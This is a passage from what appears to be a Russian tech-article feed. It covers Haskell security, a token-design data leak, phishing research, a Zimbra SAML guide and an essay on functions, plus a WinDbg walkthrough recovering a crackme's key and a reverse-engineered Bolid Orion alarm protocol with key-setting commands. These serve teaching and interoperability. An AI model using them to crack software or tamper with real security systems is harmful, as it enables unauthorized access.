вероятность того, что вы создадите ситуацию, при которой пользователи могут сделать запись поверх ваших системных файлов, значительно снижается. Этот код скомпилируется, если только отсутствует практическая возможность, при которой путь к файлу содержит атаку с обходом каталога. Точно так же если после того, как пользователь потерпел неудачу при входе в систему, пользовательские данные просто недоступны для программы, или если вы просто не можете внедрить данные непроверенного пользователя в страницы HTML, вероятность ошибки снижается.


Я не утверждаю, что нельзя использовать другие языки для написания безопасного кода, и даже не говорю, что Haskell автоматически делает ваш код более безопасным. Я только считаю, что в Haskell имеются очень удобные инструменты, которые можно использовать для усиления защиты.


Haskell и ошибки домена


Чисто доменные ошибки выше описывались как ошибки, не зависящие от используемых инструментов. Это не совсем верно. Инструменты не выбираются случайным образом. Сообщества, объединяющие единомышленников, зачастую образуются вокруг различных инструментов. При этом такие сообщества могут иметь несхожие взгляды на безопасность.


В связи с этим в пользу Haskell говорит тот факт, что Haskell невозможно хорошо изучить случайным образом. На сегодняшний день Haskell остается достаточно редкой технологией, которая преподается даже не во всех университетах и входит не во все учебные планы. То есть если человек хорошо владеет Haskell, имеются основания предполагать, что он также имеет навык работы с формальными системами или интерес к компьютерным наукам. И хотя это не гарантирует, что программисты, работающие с Haskell, кое-что знают о безопасности, можно предположить, что при необходимости они смогут быстро разобраться в этом вопросе.


Однако это все догадки. Сообщество Haskell до сих пор достаточно мало, чтобы не быть объектом атак, а специалисты по Haskell в общем случае еще не так сильно озабочены проблемами безопасности, как разработчики на Javascript или Python.


Заключение


Конечно, Haskell имеет свои недостатки, и я не утверждаю, что другие языки не могут похвастаться такими же достоинствами. А в некоторых случаях, например, в случае атак по времени и прочих атак по сторонним каналам, другие инструменты могут обеспечить даже лучшую защиту. Кроме того, некоторые языковые сообщества в большей степени ориентированы на безопасность, чем Haskell. Но лично я считаю, что по сравнению с существующими универсальными языками программирования, доступными для выбора, Haskell предлагает очень хороший набор функций для разработки безопасного программного обеспечения.

Подробнее..

Небезопасный сервис про безопасность

02.06.2021 10:16:01 | Автор: admin

На собеседованиях часто поднимается вопрос о самом крупном профессиональном провале. Несколько раз я и сама просила кандидатов рассказать об этом, когда проводила интервью. Люблю такие истории - это хороший повод для дискуссии, через них проявляются ценности человека, а бонусом можно узнать что-то новое и повеселиться.

Есть у меня и своя история провала - о сомнительных решениях, которые привели к утечке персональных данных пользователей. Сегодня эти решения вызывают недоумение, но пять лет назад нашей неискушенной команде они казались приемлемыми.

Мы делали продукт о безопасности. Эдакая народная карта противоправных действий, на которой пользователи могли отметить подозрительные события и подписаться на уведомления в интересующих районах.

Продукт включал в себя приложения Android/iOS, фронт и бэк. Я писала мобилки, двое моих коллег занимались фронтом и бэком соответственно.

Сервис делался для другой страны. Для выхода в продакшен был жесткий дедлайн - пресс-конференция, на которой представители заказчика - общественные деятели этой страны - планировали представлять продукт публике.

Утро перед пресс-конференцией. Заблаговременно выпущены релизы в AppStore и Google Play, фронт и бэк задеплоены. Боевая база данных потихоньку набирает пользователей - наша команда, тестировщики, представители заказчика и случайные люди, которые сами нашли продукт, хотя реклама еще не давалась.

Всё началось с классной идеи дропнуть базу данных продакшена перед пресс-конференцией. Сначала мы хотели удалить только таблицу фейковых происшествий, но она была связана с другими сущностями, и дропнуть всё разом было проще. Да, в сервисе уже были настоящие пользователи, но не страшно - создадут новые аккаунты, не так уж их и много.

Согласовав с заказчиком маневр, мы очистили базу. Началась пресс-конференция, а вместе с ней начали появляться первые регистрации.

За просмотром прямой трансляции я взяла телефон, чтобы создать новый профиль. Из старого профиля по всем расчетам меня должно было выкинуть после первого же запроса к серверу, который поперхнется токеном несуществующего пользователя и пришлет ошибку авторизации. Но этого не произошло. Более того, вместо своего аккаунта я увидела профиль какого-то мужика. Проверила тестовый телефон с другим аккаунтом - еще один неизвестный профиль. Сторона заказчика тоже заметила проблему и связалась с нами.

Мы переглядывались круглыми глазами и не понимали, как такое могло произойти. Опытные разработчики среди читателей уже наверняка догадываются, где мы налажали проектируя базу и API, чтобы случилось то, что случилось.

Выстрелили два фактора - целочисленный id у пользователей и вечный токен, который генерировался однозначно из этого id.

Поясню подробнее на примере.

Вася создал учетную запись. База данных присвоила Васе id под номером 1, сервер взял этот id, сгенерировал из него токен и отдал Васе. Вася сохранил токен и ходит с ним на сервер за приватными данными. Теперь мы очистили базу. Аккаунта Васи больше не существует, но токен на его устройстве всё ещё хранится. В сервисе регистрируется первый новый пользователь Аня. База теперь уже Ане выдает id под номером 1, сервер генерирует из этого id такой же токен. В результате у Васи хранится токен Ани, и Вася может делать запросы от имени ничего не подозревающей Ани.

На момент реализации проекта мы знали о том, что можно использовать uuid вместо целочисленных id, что токен должен содержать срок действия и рефреш, но посчитали эти нюансы избыточными.

Из этой ситуации я вынесла четкое понимание, что дыры в безопасности могут выстрелить в ногу в самый неподходящий момент, и не стоит забивать на них, полагаясь на авось.

За годы работы в IT я убедилась - любой практический опыт, а тем более опыт ошибок, со временем перерастает в профессиональное чутье. А теоретические знания без практики быстро меркнут, поэтому важно действовать и не бояться оступиться. Люди ошибаются, это нормально. Не нормально - не анализировать свои ошибки.

Подробнее..

Если пароль слили в сеть сколько времени потребуется хакеру, чтобы получить доступ к вашему аккаунту?

09.06.2021 18:07:37 | Автор: admin

Вы уже наверняка читали новость о самой большой утечке паролей в истории интернета и (мы надеемся) на всякий случай сменили пароли в своих основных аккаунтах. Однако данные пользователей далеко не в первый раз уплывают в сеть. Исследователи кибербезопасности изAgari решили проверить, как быстро хакеры попытаются получить доступ к скомпрометированным аккаунтам.

Agari засеяли 8000 фишинговых сайтов фэйковыми учетными данными. Выглядели они так, будто принадлежат реальным пользователям, но на деле все находились под контролем исследователей. После этого специалисты по безопасности приготовили попкорн и стали наблюдать, что будет происходить дальше.

Результаты исследований оказались не слишком утешительными для пользователей. К половине всех скомпрометированных учетных записей злоумышленники получили доступ уже в течение 12 часов. Причём 20% записей взломали в первый же час, а ещё 40% в пределах 6 часов. Так что, если вы вечером зашли на фишинговый сайт, а потом легли спать, к утру можно обнаружить неприятный сюрприз.

Практически ко всем учетным записям доступ осуществлялся вручную. Занятие это муторное, но зато киберпреступники могли точно узнать, являются ли аккаунты рабочими.

Зачем хакерам чужие учётки?

Взломанные аккаунты злоумышленники могут использовать разными способами. Например, найти там ценную конфиденциальную информацию, получить доступ к облачному хранилищу пользователя и украсть оттуда данные, воспользоваться учётной записью для дальнейших атак или просто продать её.

Нередко скомпрометированные аккаунты применяются для BEC-атак (получение доступа к корпоративной почте и дальнейшая рассылка фишинговых ссылок и спама). Один злоумышленник попытался использовать скомпрометированную учетную запись для проведения BEC-атак на сектор недвижимости. Он разослал электронные письма со ссылками на фишинговый сайт. Таким образом злоумышленник собирался украсть данные для доступа в компании, занимающиеся недвижимостью.Естественно, у него это не получилось, так как фальшивые учетные записи контролировались исследователями Agari. Ни одно из отправленных писем не дошло до адресата.

Тем не менее, исследование показывает, что киберпреступники довольно быстро начинают эксплуатировать утечки пользовательских данных, ведь для этого не нужно затрачивать ресурсы, а результат виден сразу же. Соответственно фишинговые атаки через взломанные аккаунты приводят к росту скомпрометированных данных в геометрической прогрессии и на данный момент это наименее трудозатратный способ компрометации информации.

Впрочем, есть и хорошая новость: согласно исследованию, примерно через неделю попытки использовать слитые пароли сходят на нет.

Что делать?

Учитывая, что скомпрометированные пароли действительно используют, причём быстро, хорошей привычкой будет подключать двухфакторную аутентификацию там, где это возможно. Также стоит использовать парольные менеджеры с анализом баз данных сайтов, откуда происходят утечки.

Кстати, как оказалось, обнаруженные и опубликованные CVE уязвимости тоже начинают эксплуатировать довольно быстро. Бывает, что уже в течение часа после появления новости о новой уязвимости,компании, не следящие за актуальностью своей инфраструктуры, подвергаются атакам киберпреступников. Так что специалистам по безопасности в компаниях стоит следить за свеженайденными уязвимостями и стараться пофиксить их как можно скорее.

Подробнее..

Использование Windbg для обратной разработки

16.06.2021 00:20:01 | Автор: admin

Статья представляет собой мануал по тому как пользоваться Windbg. Будет рассмотрена "классическая" версия отладчика. Настроим внешний вид и изучим команды, которые можно использовать для исследования приложения.

Установка

Установка возможна только при использовании Windows SDK. Версию для Windows 10 можно найти здесь. Для работы с отладчиком необходимо запустить процесс установки SDK и выбрать только опции с набором инструментов для отладки. Пример выбора представлен на снимке ниже.

После установки набора инструментов, можно найти все файлы в директории "Windows Kits". Отладчик устанавливается сразу для нескольких версий процессоров. Для выполнения дальнейших команд в мануале нужно выбирать соответствую исследуемому файлу архитектуру процессора. Для исследования возьмем вот этот файл и попробуем найти ключ. Перед началом исследования файла, рекомендуется сделать дополнительную настройку:

  • Установить директорию и сервер для отладочных символов Проще всего это сделать можно через меню: File->Symbol File Path. В открывшемся меню нужно прописать вот эту строку: "SRVC:\symbolshttp://msdl.microsoft.com/download/symbols". Затем создать директорию C:\symbols;

  • Установить WorkPlace с удобной раскладкой рабочих панелей. Взять готовый Workspace можно отсюда. В итоге, если запустить для теста notepad.exe в отладчике, он будет выглядеть вот так:

Теперь можно перейти к исследованию команд. Откроем в отладчике файл и приступим.

Набор команд и анализ приложения

Полный справочник по всем командам отладчика можно найти по команде ".hh". Появится справка, как на рисунке ниже. Здесь можно вводить описание или конкретную команду.

Любой набор команд, который можно представить просто списком не имеет большой полезности, поэтому все команды, которые будут описываться в статье, будут сопровождаться примером применения. Начнем с простого.

  1. Определим откуда начинается выполнение приложения. Если не вдаваться в подробности, то самое начало работы приложения это EntryPoint из заголовка файла, однако это не совсем так. EntryPoint для современных языков программирования сегодня это начало подготовительных операций для работы всего приложения. Поэтому если необходимо найти код, который был написан программистом, нам придется еще немного попутешествовать по дизасемблированному листингу.

Первая команда - lm. Показывает список модулей, которые загружены в память процесса, по выдаче этой команды можно получить базовый адрес файла.

Главные команды, которые станут глазами и ушами при исследовании данных в оперативной памяти - d? (b,c,a,p,w,q). Команда показывает дамп памяти по указанному адресу. Можно использовать конкретный адрес или регистр. Например, можно посмотреть как выглядит часть заголовка файла в памяти:

Команда !dh разбирает файл и показывает заголовки. Нам нужен файловый заголовок, поэтому добавим флаг -f. Если необходимо показать все данные о файловых и секционных заголовках, то можно не дополнять команду.

Как видно на рисунке, данные, которые выдает команда, могут быть использваны для локализации данных внутри файла.

Локализуем точку входа с помощью суммирования базового адреса и информации из заголовка. Выполнить эту опирацию можно рядом команд: ? - выполнение выражения, uf - дизассемблирование функции, bp - установка точки останова. А теперь по порядку на примере:

Расчет адреса.

Дизассемблирование функции от адреса до ret команды.

Установка точки останова, кстати, чтобы управлять точками останова, можно менять последнюю букву команды. На рисунке показан пример установки точки останова и просмотр списка существующих точек через команду bl.

Чтобы дойти до точки останова, можно ввести команду, которая используется для выполнения алгоритма приложения - g.

Как только алгоритм загрузчика ОС выполнит все подготовительные действия мы увидим в командной строке следующие данные:

Можно приступать к поиску функции main. Сделать это достаточно просто, необходимо локализовать константы из интерфейса файла, когда выполняется приветствие и запрос данных:

Для поиска данных будем использовать команду s. Эта команда проводит поиск по определенному в команде объему данных. Соответственно чтобы получить данные о местоположении приглашения к вводу ключа, нужно указать всё адресное пространство исследуемого приложения. Так же необходимо указать тип данных, которые нужно искать.

Теперь, когда мы знаем адрес данных, которые используются, мы можем поставить точку останова, которая будет следить за доступом к данным. Сделать это можно с помощью команды ba. Для такой точки останова нужно указывать размер данных за которыми отладчик будет наблюдать, а там же адрес и тип доступа. Адрес должен быть выровнен по границе в 4 байта. После становки снова нужно запустить приложение через команду g. На рисунке ниже показан вариант команды:

Когда сработает точка останова, нужно найти часть алгоритма приложения, которая печатает приветствие на экран. Для этого удобно использовать стек вызовов функций. Для этого можно выполнить команду k.

Из рисунка видно, что копирование строки для работы с ней выполняется библиотечной функцией, а её вызов был сделан из "For_Crackme+0x15f2".

2. Локализуем функцию проверки ключа. Функция проверки будет недалеко от предложения ввести данные пользователя. В прошлом этапе мы нашли смещение внутри функции до этой операции. Введем можифицированную команду uf - u для того чтобы посмотреть несколько команд после адреса "For_Crackme+0x15f":

Фрагмент кода не содержит дополнительных отладочных символов, поэтому просто просмотрим данные рядом:

  • offset For_Crackme+0x40a2

  • offset For_Crackme+0x40bb

Чтобы это сделать, используем команду db:

Похоже, что функция подготавливает данные для выдачи информации пользователю. Значит проверка ключа должна быть где-то рядом. Обратим внимание на 2 константы, которые помещаются в память через следующие команды:

...00401612 c744241c30372f31 mov     dword ptr [esp+1Ch],312F3730h0040161a c7442420302f3937 mov     dword ptr [esp+20h],37392F30h...

Если раскодировать константы, то мы получим вот такое значение: "07/10/97". Выполнить раскодирование может помочь команда .formats 312F3730h. Из списка форматов нас интересует Char или символьное представление. Стоит помнить, что данные в памяти хранятся в LittleEndian формате, поэтому если прочитать наоборот, то получатся данные необходимые для прохождения валидации.

Таким образом можно анализировать приложения с использованием Windbg и не прибегать к дополнительному инструментарию.


Статья написана в преддверии старта курса "Reverse-Engineering. Professional". Напоминаем о том, что завтра пройдет второй день бесплатного интенсива по теме "Пишем дампер процессов". Записаться на интенсив можно по ссылке ниже:

Подробнее..

Интеграция SAML в Zimbra OSE

16.06.2021 14:10:53 | Автор: admin
Технология единого входа обладает массой преимуществ по сравнению с классическими методами аутентификации, главное из которых заключается в том, что именно SSO обеспечивает наилучший баланс между удобством пользователя и информационной безопасностью предприятия. Ранее мы уже рассказывали о том, как реализовать SSO в Zimbra OSE при использовании аутентификации в Active Directory с помощью Kerberos. На этот раз мы расскажем о том, как внедрить Zimbra OSE другую технологию единого входа SAML на примере провайдера Okta.

image

Единый вход с помощью SAML в Zimbra OSE доступен только для пользователей Zextras Suite Pro.

Подготовка к интеграции

В первую очередь для включения интеграции в SAML, необходимо пропатчить NGINX. Для этого в папке /opt/zimbra/conf/nginx/templates/ отредактируйте поочередно файлы:

  • nginx.conf.web.http.default.template
  • nginx.conf.web.http.template
  • nginx.conf.web.https.default.template
  • nginx.conf.web.https.template

Во всех файлах в разделе location ^~ /zx/ замените содержимое на

location ^~ /zx/

{

proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

proxy_set_header Host $http_host;

proxy_set_header X-Forwarded-Proto $scheme;

proxy_set_header X-Forwarded-Port $server_port;

proxy_pass ${web.upstream.zx};

}


Эти изменения нужны для того, чтобы составлять полноценные URL-запросы Protocol X и X-Port.

Также необходимо активировать движок аутентификации от Zextras на уровне домена. Сделать это может администратор сервера, введя в командной строке команду zmprov modifyDomain example.ru zimbraAuthMech custom:zx.

Создание приложения в Okta

В том случае, если вы ранее не использовали SAML для доступа к ресурсам компании, вам придется создать собственное приложение для аутентификации пользователей. Для того, чтобы создать такое приложение в Okta:

1. Зарегистрируйтесь в качестве разработчика на сайте okta.com

2. В личном кабинете нажмите на кнопку Create App Integration



3. В открывшемся списке выберите SAML 2.0 и нажмите Next



4. В следующем окне укажите название своего приложения, выберите иконку и настройте его видимость и нажмите кнопку Next, когда всё будет готово



5. В следующем окне:

  1. В качестве SSO URL укажите адрес вашего сервера с аппендиксом /zx/auth/saml
  2. В качестве Audiend URI укажите адрес вашего сервера с аппендиксом /zx/auth/samlMetadata
  3. В качестве Name ID Format укажите EmailAddress
  4. Нажмите кнопку Next



6. В мини-опросе выберите первый вариант ответа и нажмите кнопку Finish



7. Скачайте метаданные своего приложения SAML



Если у вас уже есть приложение в Okta, просто скачайте файл с метаданными своего приложения.

Экспорт учетных записей из домена Zimbra OSE

Приложение SAML поддерживает как создание новых учетных записей, так и импортирование уже существующих из Zimbra. Для того, чтобы импортировать учетные записи, необходимо сперва экспортировать их из Zimbra в формате .csv.

Для экспорта учетных записей перейдите в консоль администратора Zimbra, перейдите во вкладку Поиск и осуществите поиск по пользователям с названием домена в поисковом запросе. Результатом поиска будет полный список пользователей домена, который можно выгрузить в формате CSV, нажав на иконку Дополнительные настройки в правом верхнем углу и выбрав раздел Загрузить



Импортируйте полученный CSV в приложение SAML с помощью соответствующего инструмента в личном кабинете разработчика.

Интеграция приложения в Zimbra OSE

Чтобы интегрировать приложение SAML в Zimbra OSE, вам потребуются данные из скачанного ранее файла с метаданными приложения.

Интеграцию можно провести в автоматическом режиме, просто указав в настройках расположение файла с метаданными, так и вручную, добавив все необходимые данные в файл конфигурации.

Для того, чтобы выполнить интеграцию в автоматическом режиме, введите команду zxsuite auth saml import example.ru url dev-3299935.okta.com/app/exkvjcggn7C7jrhc75d6/sso/saml/metadata. Если вы используете собственный сервер SAML с самоподписанными сертификатами, используйте параметр allow_insecure true для пропуска проверки подлинности SSL-сертификата.

Чтобы провести интеграцию в ручном режиме, экспортируйте настройки SAML по умолчанию при помощью команды zxsuite auth saml get example.ru export_to /tmp/saml.json. Откройте полученный файл /tmp/saml.json в любом редакторе и добавьте в него следующие данные, заменяя строки отмеченные знаками >> << данными из файла с метаданными. В нашем случае добавленные строки будут выглядеть следующим образом:

sp.nameidformat:urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress ,
sp.entityid: >>example.ru/zx/auth/samlMetadata?domain=example.ru<<,
sp.assertion_consumer_service.url: >>example.ru/zx/auth/saml<<,
idp.single_sign_on_service.url: >>dev-3299935.okta.com/app/dev-3299935_zextrassamlintegration_1/exkvjcggn7C7jrhc75d6/sso/saml<<,
idp.entityid: >>www.okta.com/exkvjcggn7C7jrhc75d6<<,
idp.x509cert: >>MIIDpjCCAo6gAwIBAgIGAXmC9e8bMA0GCSqGSIb3DQEBCwUAMIGTMQswCQYDVQQGEwJVUzETMBEG A1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNU2FuIEZyYW5jaXNjbzENMAsGA1UECgwET2t0YTEU MBIGA1UECwwLU1NPUHJvdmlkZXIxFDASBgNVBAMMC2Rldi0zMjk5OTM1MRwwGgYJKoZIhvcNAQkB Fg1pbmZvQG9rdGEuY29tMB4XDTIxMDUxOTA0NDkyNloXDTMxMDUxOTA0NTAyNlowgZMxCzAJBgNV BAYTAlVTMRMwEQYDVQQIDApDYWxpZm9ybmlhMRYwFAYDVQQHDA1TYW4gRnJhbmNpc2NvMQ0wCwYD VQQKDARPa3RhMRQwEgYDVQQLDAtTU09Qcm92aWRlcjEUMBIGA1UEAwwLZGV2LTMyOTk5MzUxHDAa BgkqhkiG9w0BCQEWDWluZm9Ab2t0YS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB AQCOJA7bhf/LO89VpuGTHur77RbwKlJg3Eni/P4JKowSVrQD6PghwprCdzThyTsKWcHwESZoYwEL WdrZ6CVzDZWAegWJnaJivfiFlFjsEZ15UHOGizMBM3VI0ePWjaWJ6O2DM9BID2mGULnXUDbQXbf6 rE1EHxzlxzCKIBWmT8ut/JsA/lmBm0YNi4BKfP06KXCLianxoH+fEETNd/NH2mXwgHdxMV1BS/mm TAHSJtkDfWxTM+dTGngrjMANKvmChGjSO1ZXFs/pm+vx0o6ffYcoeXnfgodBX3FZ7aTFBTk0s5Se Wms1utjfa8qhHbrolErqqIc1PPBngEFvzcLjFAfRAgMBAAEwDQYJKoZIhvcNAQELBQADggEBAByU jjdAc5tdH+QFAHS0CJNYa9VNaapxuEFrlR3ZdAztIaczKUqYfHqHdXuDHYCjdHXhLFHwntBsnphk M2sk8D2zG0wpoYsEA3IrvbXoTwwqDzACpLF37S7Pfn0RjE5IvvJ9WP4DoZa9ikM/p0N+H7fpqkU2 xavoiNGOMqot9xpWrytM0P+luXereriOOzVaBS1+DuhA4INhze5luyc52X18T4HrJ3iGivfXR2os L8/PI4gZwR956Ju8tDEcmFVCelLN4FlN3ITogPK+SyKHhlTBuSGHidrGKQJBRmkLhk6lhKWTHjWP mI88ECqrA63+QvxU4KRUl1zzRgKVwrgzos4=<<

Сохраните внесенные в файл изменения и импортируйте его в Zimbra OSE с помощью команды zxsuite auth saml import example.ru /tmp/saml.json



После осуществления всех описанных действий на странице входа веб-клиента Zimbra OSE появится кнопка Вход SAML, при нажатии на которую сервер обратится к приложению SAML с запросом об аутентификации пользователя. В случае, если приложение подтвердит подлинность входа, пользователь попадет в свою учетную запись без ввода каких-либо аутентификационных данных. При этом оставляется возможность для входа пользователя по логину и паролю.

По всем вопросам, связанными c Zextras Suite Pro и Team Pro вы можете обратиться к Представителю компании Zextras Technology Екатерине Триандафилиди по электронной почте ekaterina.triandafilidi@zextras.com
Подробнее..

Дешифрация протокола Орион Bolid

19.06.2021 06:09:13 | Автор: admin

Компания Bolid лидер в разработке интегрированных систем безопасности - то, что вы услышите, если позвоните им по телефону. Это своего рода российский Apple в сфере АСУТП, со своей закрытой экосистемой. Попробуем немного открыть экосистему.

Введение

Большая часть устройств Bolid обычно связывается между собой двумя проводами через RS-485 в большинстве случаев с параметрами 9600/8-N-1.

Для общения используются 2 шифрованных протокола: Орион или Орион Про. На момент написания статьи я пока не знаю в чём между ними разница, во всяком случае дальше будет речь о протоколе Орион (без Про).

Существует устройство С2000-ПП от компании Bolid для общения с bolid-устройствами через протокол Modbus-RTU. Но его функционал крайне ограничен.

Протокол Орион

Протокол Орион представляет из себя подобие Modbus-RTU, есть команда, количество передаваемых байт и CRC.

Мы общаемся со slave-устройствами как master, мы отправляем запросы, устройства нам отвечают.

Некоторые команды передаются в шифрованном виде, некоторые в открытом. Хорошим индикатором шифрованной команды является смещённый адрес в начале сообщения. У шифрованного сообщения смещение адреса идёт на 0x80 или 0d128. Как итог 127 возможных адресов + 128 число смещения = 255 (максимальное значение одного байта из 2^8 возможных).

Для того, чтобы устройства отвечали на шифрованные сообщения, необходимо задать глобальный ключ - GLOBAL_KEY для каждого устройства, хотя бы единожды (не проверял какой стоит по умолчанию).

При отправке шифрованных команд используется MESSAGE_KEY при каждом запросе.

Для общения с Bolid-устройствами нам нужно подключиться в любое место линии RS-485 (не забываем про терминаторы, иногда без них работа нестабильна).

Расчёт контрольной суммы

Для расчёта CRC используется CRC-8-Dallas, рассчитываемый табличным методом.

byte[] CrcTable = {            0x00,0x5E,0xBC,0xE2,0x61,0x3F,0xDD,0x83,0xC2,0x9C,0x7E,0x20,0xA3,0xFD,0x1F,0x41,            0x9D,0xC3,0x21,0x7F,0xFC,0xA2,0x40,0x1E,0x5F,0x01,0xE3,0xBD,0x3E,0x60,0x82,0xDC,            0x23,0x7D,0x9F,0xC1,0x42,0x1C,0xFE,0xA0,0xE1,0xBF,0x5D,0x03,0x80,0xDE,0x3C,0x62,            0xBE,0xE0,0x02,0x5C,0xDF,0x81,0x63,0x3D,0x7C,0x22,0xC0,0x9E,0x1D,0x43,0xA1,0xFF,            0x46,0x18,0xFA,0xA4,0x27,0x79,0x9B,0xC5,0x84,0xDA,0x38,0x66,0xE5,0xBB,0x59,0x07,            0xDB,0x85,0x67,0x39,0xBA,0xE4,0x06,0x58,0x19,0x47,0xA5,0xFB,0x78,0x26,0xC4,0x9A,            0x65,0x3B,0xD9,0x87,0x04,0x5A,0xB8,0xE6,0xA7,0xF9,0x1B,0x45,0xC6,0x98,0x7A,0x24,            0xF8,0xA6,0x44,0x1A,0x99,0xC7,0x25,0x7B,0x3A,0x64,0x86,0xD8,0x5B,0x05,0xE7,0xB9,            0x8C,0xD2,0x30,0x6E,0xED,0xB3,0x51,0x0F,0x4E,0x10,0xF2,0xAC,0x2F,0x71,0x93,0xCD,            0x11,0x4F,0xAD,0xF3,0x70,0x2E,0xCC,0x92,0xD3,0x8D,0x6F,0x31,0xB2,0xEC,0x0E,0x50,            0xAF,0xF1,0x13,0x4D,0xCE,0x90,0x72,0x2C,0x6D,0x33,0xD1,0x8F,0x0C,0x52,0xB0,0xEE,            0x32,0x6C,0x8E,0xD0,0x53,0x0D,0xEF,0xB1,0xF0,0xAE,0x4C,0x12,0x91,0xCF,0x2D,0x73,            0xCA,0x94,0x76,0x28,0xAB,0xF5,0x17,0x49,0x08,0x56,0xB4,0xEA,0x69,0x37,0xD5,0x8B,            0x57,0x09,0xEB,0xB5,0x36,0x68,0x8A,0xD4,0x95,0xCB,0x29,0x77,0xF4,0xAA,0x48,0x16,            0xE9,0xB7,0x55,0x0B,0x88,0xD6,0x34,0x6A,0x2B,0x75,0x97,0xC9,0x4A,0x14,0xF6,0xA8,            0x74,0x2A,0xC8,0x96,0x15,0x4B,0xA9,0xF7,0xB6,0xFC,0x0A,0x54,0xD7,0x89,0x6B,0x35        };

Вариант расчёта CRC:

byte сalculate_сrc(byte[] inputMessage){            byte crc = 0;            if (inputMessage.Count == 0)            {                return 0;            }            var length = inputMessage.Count;            for (int i = 0; i < length; ++i)            {                crc = CrcTable[crc ^ inputMessage[i]];            }            return crc;}

Вариант расчёта CRC:

byte CalculateCrc(IList<byte> inputMessage){            return inputMessage.Aggregate((byte)0, (prev, next) => CrcTable[prev ^ next]);}

Установка глобального ключа

Для того, чтобы общаться с каким-то устройством, ему нужно задать глобальный ключ (для забавы и наглядности выбран ключ 0xBA, получается BABA).

Далее по тексту операция исключающего или (XOR) будет обозначаться символом ^.

Зададим Bolid-устройству с адресом 3 глобальный ключ следующей командой:

0x03 0x06 0x00 0x11 0xBA 0xBA 0x8D
  • 0x03 - адрес Bolid-устройства, в данном случае устройство имеет адрес 3 (из возможных 1..127);

  • 0x06 - количество передаваемых байт (итоговая длина сообщения минус один);

  • 0x00 - GLOBAL_KEY ^ MESSAGE_KEY (в данном случае GLOBAL_KEY = MESSAGE_KEY, поэтому GLOBAL_KEY ^ MESSAGE_KEY == 0);

  • 0x11 - команда на запись нового ключа устройства;

  • 0xBA - новый GLOBAL_KEY;

  • 0xBA - новый GLOBAL_KEY (повтор байта, видимо на всякий случай);

  • 0x8D - контрольная сумма CRC-8.

Считаем статус устройства

Для того, чтобы получить текущий статус устройства, отправим следующую команду:

0x83 0x08 0x00 0xED 0xB8 0xBA 0xBA 0xBA 0x62
  • 0x83 - ADDRESS + 0x80(смещение адреса при шифровании) (ADDRESS == 3);

  • 0x08 - количество передаваемых байт (итоговая длина сообщения минус один);

  • 0x00 - GLOBAL_KEY ^ MESSAGE_KEY (они одинаковые, поэтому ноль);

  • 0xED - 0x57 ^ MESSAGE_KEY команда на чтение статуса;

  • 0xB8 - 0x02 ^ MESSAGE_KEY команда на чтение статуса;

  • 0xBA - MESSAGE_KEY;

  • 0xBA - MESSAGE_KEY;

  • 0xBA - MESSAGE_KEY;

  • 0x62 - контрольная сумма CRC-8.

На данную команду мы можем получить ответ навроде:

0x83 0x0A 0xE2 0xB8 0xBA 0xBE 0xB9 0x7D 0x2F 0x72 0xD7
  • 0x83 - ADDRESS + 0x80 (ADDRESS == 3);

  • 0x0A - количество передаваемых байт (итоговая длина сообщения минус один);

  • 0xE2 - 0x88 ^ MESSAGE_KEY - назначение байта мне не известно;

  • 0xB8 - 0x02 ^ MESSAGE_KEY - назначение байта мне не известно;

  • 0xBA - MESSAGE_KEY;

  • 0xBE - 0x04 ^ MESSAGE_KEY - назначение байта мне не известно;

  • 0xB9 - 0x03 ^ MESSAGE_KEY - назначение байта мне не известно;

  • 0x7D - STATUS_1(0xC7) ^ MESSAGE_KEY;

  • 0x2F - STATUS_2(0x95) ^ MESSAGE_KEY;

  • 0x72 - 0xC8 ^ MESSAGE_KEY - назначение байта мне не известно;

  • 0xD7- контрольная сумма CRC-8.

Мы получили 2 статуса STATUS_1 и STATUS_2:

0xC7 и 0x95

199 и 149, соответственно.

Статус 199 - это Восстановление источника питания;

Статус 149 - это Взлом корпуса прибора.

Полный перечень статусов можно взять из документации на С2000-ПП.

Ссылка на одноимённую тему форума cxem.net

Подробнее..

Перевод Функции эта ошибка дороже, чем null

28.05.2021 10:14:13 | Автор: admin
Каждый день мы используем шаблон программирования, из-за которого без всякой необходимости повышается стоимость создания и поддержки ПО. Он приводит к бесчисленным багам и уязвимостям в безопасности. Он требует постоянного рефакторинга. Его сложно тестировать, утомительно документировать, а его гибкость превращает каждую реализацию в уникальную снежинку, что приводит к бесконечному дублированию кода.

Имя этому шаблону функция.

Если конкретнее, то это интерфейс, который обычно является набором функций.


Какие из языков вы узнали?

Одним из первых при изучении программирования мы узнаём принцип многократного использования логики. Это неизменно приводит нас к функции строительному блоку каждого программного проекта. Сами по себе функции не так уж плохи, но именно из-за использования их в качестве многократно применяемого компонента написание, поддержка и масштабирование ПО становятся такими затратными.

Почему?

Писать многократно используемый код сложно.

Нет, это не так. Это неприемлемо.

Любой разработчик может писать многократно используемый код, вне зависимости от своего опыта. Языки наподобие JavaScript, Python, Ruby и Go составлены из миллионов маленьких общих модулей, демонстрирующих простоту написания простого многократно используемого исходного кода. Писать многократно используемый код легко.

Давайте подвергнем это утверждение рефакторингу.

Писать многократно используемый код сложно. Сложно многократно использовать код.

Но и это не так. Взгляните на библиотеку node.js repeat-string в npm. Она не делает ничего, кроме повторения строки, и разработчики скачивают её каждую неделю по семнадцать миллионов раз.


Количество скачиваний repeat-string в npm

Семнадцать миллионов это только количество скачиваний. Это число не даст нам никакого представления о том, сколько раз эта функция применяется в исходном коде. Сумма должна быть астрономической!

Так к чему это я?

Как можно найти модуль наподобие repeat-string для своего проекта на node.js? Нужно поискать repeat string в npm. Может быть, вы введёте string repeat, но результаты будут похожими. Проблему, о которой я говорю, можно заметить во втором поисковом результате. И в четвёртом, и в девятом, и в десятом, и в одиннадцатом.

Посмотрите на эти примеры. Каждая библиотека обеспечивает совершенно идентичное поведение.


Примеры библиотек повторения строк в npm

Вы видите, в чём проблема?

Нет, не в том, что одна из них по каким-то непонятным причинам асинхронна. Не говорю я и о том, что повторение строки уже в течение шести с лишним лет является частью языка JavaScript ("A".repeat(5)). Проблема в том, что каждая библиотека имеет свои отличия:

  1. В сигнатуре входящих данных. Некоторые могут получать (string, int), другие (int, string). Одна принимает числа с плавающей запятой, другой требуется функция обратного вызова.
  2. В сигнатуре выходных данных. Каждая библиотека выводит строку, за исключением одной, которая ничего не выводит и передаёт свой результат в функции обратного вызова. И позвольте мне даже не начинать разбор их ошибок.
